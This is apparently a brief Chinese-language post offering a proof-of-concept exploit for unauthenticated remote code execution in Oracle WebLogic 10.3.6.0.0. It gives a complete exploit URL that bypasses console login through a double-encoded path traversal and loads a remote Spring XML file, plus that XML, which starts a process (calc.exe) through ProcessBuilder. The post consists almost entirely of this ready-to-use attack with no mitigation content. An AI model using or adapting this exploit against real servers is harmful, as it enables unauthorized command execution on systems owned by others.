目前网上给出的poc，适用于12版本Weblogic，但并不适用于10.3.6.0.0版本，因此这里给出一个适用于Weblogic 10.3.6.0.0版本的测试 poc
无需登录Weblogic，访问如下链接：
http://localhost:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://127.0.0.1/poc_xml.xml")
poc_xml.xml内容如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg value="calc.exe" />
</bean>
</beans>
|
